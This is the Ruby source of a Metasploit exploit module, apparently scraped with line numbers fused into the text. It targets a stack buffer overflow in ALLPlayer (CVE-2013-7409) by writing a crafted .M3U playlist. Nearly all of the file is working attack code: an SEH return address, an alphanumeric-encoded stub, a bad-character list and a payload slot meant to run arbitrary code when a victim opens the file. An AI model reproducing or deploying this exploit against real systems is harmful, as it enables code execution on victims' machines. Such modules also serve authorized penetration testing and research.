Path: blob/master/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::FILEFORMAT910def initialize(info = {})11super(12update_info(13info,14'Name' => 'ALLPlayer M3U Buffer Overflow',15'Description' => %q{16This module exploits a stack-based buffer overflow vulnerability in17ALLPlayer 5.8.1, caused by a long string in a playlist entry.18By persuading the victim to open a specially-crafted .M3U file, a19remote attacker could execute arbitrary code on the system or cause20the application to crash. This module has been tested successfully on21Windows 7 SP1.22},23'License' => MSF_LICENSE,24'Author' => [25'metacom', # Vulnerability discovery26'Mike Czumak', # Original exploit27'Gabor Seljan' # Metasploit module28],29'References' => [30[ 'CVE', '2013-7409' ],31[ 'BID', '62926' ],32[ 'BID', '63896' ],33[ 'EDB', '28855' ],34[ 'EDB', '29549' ],35[ 'EDB', '29798' ],36[ 'EDB', '32041' ],37[ 'OSVDB', '98283' ],38[ 'URL', 'http://www.allplayer.org/' ]39],40'DefaultOptions' => {41'EXITFUNC' => 'thread'42},43'Platform' => 'win',44'Payload' => {45'DisableNops' => true,46'BadChars' => "\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f",47'Space' => 3060,48'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,49'EncoderOptions' =>50{51'BufferRegister' => 'EAX'52}53},54'Targets' => [55[56' ALLPlayer 2.8.1 / Windows 7 SP1',57{58'Offset' => 301,59'Ret' => "\x50\x45", # POP POP RET from ALLPlayer.exe60'Nop' => "\x6e" # ADD BYTE PTR DS:[ESI],CH61}62]63],64'Privileged' => false,65'DisclosureDate' => '2013-10-09',66'DefaultTarget' => 0,67'Notes' => {68'Reliability' => UNKNOWN_RELIABILITY,69'Stability' => UNKNOWN_STABILITY,70'SideEffects' => UNKNOWN_SIDE_EFFECTS71}72)73)7475register_options(76[77OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u'])78],79self.class80)81end8283def exploit84nop = target['Nop']8586sploit = rand_text_alpha_upper(target['Offset'])87sploit << "\x61\x50" # POPAD88sploit << target.ret89sploit << "\x53" # PUSH EBX90sploit << nop91sploit << "\x58" # POP EAX92sploit << nop93sploit << "\x05\x14\x11" # ADD EAX,0x1100140094sploit << nop95sploit << "\x2d\x13\x11" # SUB EAX,0x1100130096sploit << nop97sploit << "\x50" # PUSH EAX98sploit << nop99sploit << "\xc3" # RET100sploit << nop * 109101sploit << payload.encoded102sploit << rand_text_alpha_upper(10000) # Generate exception103104# Create the file105print_status("Creating '#{datastore['FILENAME']}' file ...")106file_create("http://" + sploit)107end108end109110111